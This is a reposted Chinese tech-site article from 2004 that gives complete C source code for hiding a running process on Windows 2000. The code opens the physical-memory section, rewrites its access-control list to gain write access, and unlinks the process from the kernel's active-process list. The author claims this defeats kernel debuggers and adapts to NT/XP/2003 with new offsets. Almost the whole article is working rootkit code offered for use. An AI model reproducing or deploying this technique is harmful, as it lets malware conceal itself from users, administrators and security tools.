首页 电脑 电脑学堂 查看内容

Win2000下系统进程隐藏代码

2004-9-29 20:05 812 0

摘要: 十分抱歉,匆匆写了几句代码有点bug,即“ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes)”...
关键词: 数组 关联 key fred value ARRAY 标量 zmd 操作符 一个

十分抱歉,匆匆写了几句代码有点bug,即“ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes)”使得第一次运行返回失败,请删除原文,改正为:                pjf ([email protected])   上次在CVC提到了这东西,因为很简单觉得没必要多说什么,但有人要求写全,所以补充几句:   很多帖子对此论题作了分析,比如APIHOOK、系统服务HOOK等等,至于远线程注入没有自己的进程,本不算“隐藏”。   这里写一个2000下的完全隐藏方法,很简单,也没什么新意。   在讲解之前,首先提一提一些结构,进程执行体块中有数个进程相关链,其中之一是活动进程链。此链的重要 作用之一就是在查询系统信息时供遍历当前活动进程,很有意思的是M$可能因效率因素使它被排除出进程核心块, 意味进线程切换等操作时并不利用它,进一步说改写它也不该有不可忽视的问题(此即本方案的基础)。   怎么做很明显了,在活动进程双向链中删除想要得隐藏的进程既可,核心调试器(如softice/proc)亦查不出来。   2000下的隐藏当前进程的代码如下: #include<windows.h> #include<Accctrl.h> #include<Aclapi.h> #define NT_SUCCESS(Status)      ((NTSTATUS)(Status) >= 0) #define STATUS_INFO_LENGTH_MISMATCH    ((NTSTATUS)0xC0000004L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) typedef LONG NTSTATUS; typedef struct _IO_STATUS_BLOCK {   NTSTATUS  Status;   ULONG    Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _UNICODE_STRING {   USHORT    Length;   USHORT    MaximumLength;   PWSTR    Buffer; } UNICODE_STRING, *PUNICODE_STRING; #define OBJ_INHERIT       0x00000002L #define OBJ_PERMANENT      0x00000010L #define OBJ_EXCLUSIVE      0x00000020L #define OBJ_CASE_INSENSITIVE  0x00000040L #define OBJ_OPENIF       0x00000080L #define OBJ_OPENLINK      0x00000100L #define OBJ_KERNEL_HANDLE    0x00000200L #define OBJ_VALID_ATTRIBUTES  0x000003F2L typedef struct _OBJECT_ATTRIBUTES {   ULONG    Length;   HANDLE    RootDirectory;   PUNICODE_STRING ObjectName;   ULONG    Attributes;   PVOID    SecurityDescriptor;   PVOID    SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(             OUT PHANDLE SectionHandle,             IN ACCESS_MASK DesiredAccess,             IN POBJECT_ATTRIBUTES ObjectAttributes             ); typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                      IN OUT PUNICODE_STRING DestinationString,              IN PCWSTR SourceString              ); RTLINITUNICODESTRING    RtlInitUnicodeString; ZWOPENSECTION      ZwOpenSection; HMODULE  g_hNtDLL = NULL; PVOID   g_pMapPhysicalMemory = NULL; HANDLE   g_hMPM   = NULL; BOOL InitNTDLL() {   g_hNtDLL = LoadLibrary( "ntdll.dll" );   if ( !g_hNtDLL )   {     return FALSE;   }   RtlInitUnicodeString =     (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");      ZwOpenSection =     (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");      return TRUE; } VOID CloseNTDLL() {   if(g_hNtDLL != NULL)   {     FreeLibrary(g_hNtDLL);   } } VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) {      PACL pDacl=NULL;   PACL pNewDacl=NULL;   PSECURITY_DESCRIPTOR pSD=NULL;   DWORD dwRes;   EXPLICIT_ACCESS ea;      if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,     NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)   {     goto CleanUp;   }      ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));   ea.grfAccessPermissions = SECTION_MAP_WRITE;   ea.grfAccessMode = GRANT_ACCESS;   ea.grfInheritance= NO_INHERITANCE;   ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;   ea.Trustee.TrusteeType = TRUSTEE_IS_USER;   ea.Trustee.ptstrName = "CURRENT_USER";         if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)   {     goto CleanUp;   }      if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)   {     goto CleanUp;   }    CleanUp:      if(pSD)     LocalFree(pSD);   if(pNewDacl)     LocalFree(pNewDacl); } HANDLE OpenPhysicalMemory() {   NTSTATUS    status;   UNICODE_STRING    physmemString;   OBJECT_ATTRIBUTES  attributes;      RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );      attributes.Length      = sizeof(OBJECT_ATTRIBUTES);   attributes.RootDirectory    = NULL;   attributes.ObjectName      = &physmemString;   attributes.Attributes      = 0;   attributes.SecurityDescriptor    = NULL;   attributes.SecurityQualityOfService  = NULL;      status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);      if(status == STATUS_ACCESS_DENIED){     status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);     SetPhyscialMemorySectionCanBeWrited(g_hMPM);     CloseHandle(g_hMPM);     status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);   }   if( !NT_SUCCESS( status ))   {     return NULL;   }      g_pMapPhysicalMemory = MapViewOfFile(     g_hMPM,     4,     0,     0x30000,     0x1000);   if( g_pMapPhysicalMemory == NULL )   {     return NULL;   }      return g_hMPM; } PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) {   ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;   PGDE=BaseAddress[VAddr>>22];   if ((PGDE&1)!=0)   {     ULONG tmp=PGDE&0x00000080;     if (tmp!=0)     {       PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);     }     else     {       PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);       PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];       if ((PTE&1)!=0)       {         PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);         UnmapViewOfFile((PVOID)PGDE);       }       else return 0;     }   }   else return 0;   return (PVOID)PAddr; } ULONG GetData(PVOID addr) {   ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);   PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);   if (tmp==0)     return 0;   ULONG ret=tmp[(phys & 0xFFF)>>2];   UnmapViewOfFile(tmp);   return ret; } BOOL SetData(PVOID addr,ULONG data) {   ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);   PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);   if (tmp==0)     return FALSE;   tmp[(phys & 0xFFF)>>2]=data;   UnmapViewOfFile(tmp);   return TRUE; } BOOL HideProcessAtAll() {   if (InitNTDLL())   {     if (OpenPhysicalMemory()==0)     {       return FALSE;     }     ULONG thread=GetData((PVOID)0xFFDFF124);     ULONG process=GetData(PVOID(thread+0x22c));     ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));     SetData(PVOID(fw+4),bw);     SetData(PVOID(bw),fw);     UnmapViewOfFile(g_pMapPhysicalMemory);     CloseHandle(g_hMPM);     CloseNTDLL();   }   return TRUE; }   调用HideProcessAtAll即隐藏当前进程,如若一运行就隐藏,会修改到进程活动链表头,运行一段时间后可能出现些小问题,怎么解决,留作“课后习题”了^_^   注意默认物理地址0x30000为一页目录,在大多数情况时这样,但是是有例外的!怎么解决亦留作“...”吧,不多废话了。   稍微改一下偏移可移植于NT/XP/2003。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部